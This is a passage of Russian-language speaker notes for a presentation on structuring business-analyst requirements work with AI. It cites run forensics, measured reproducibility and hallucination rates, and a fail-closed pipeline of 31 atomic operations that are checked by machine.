\u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0438\u0439\u00bb \u0442\u0435\u043a\u0441\u0442 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0433\u043e\u0434\u0438\u0442\u0441\u044f. \u041d\u0443\u0436\u043d\u0430 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043e\u0442\u0434\u0430\u0432\u0430\u043b\u0438\\n\u044d\u0442\u0443 \u0440\u0430\u0431\u043e\u0442\u0443 \u0418\u0418\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\\n- 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 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\u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0432\u0430 \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430, \u0434\u0432\u0430 \u2014\\n\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0421\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 \u2014 \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n  8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n  \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439. \u041f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435,\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u0412\u044b\u0431\u043e\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b. RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e 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\u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e 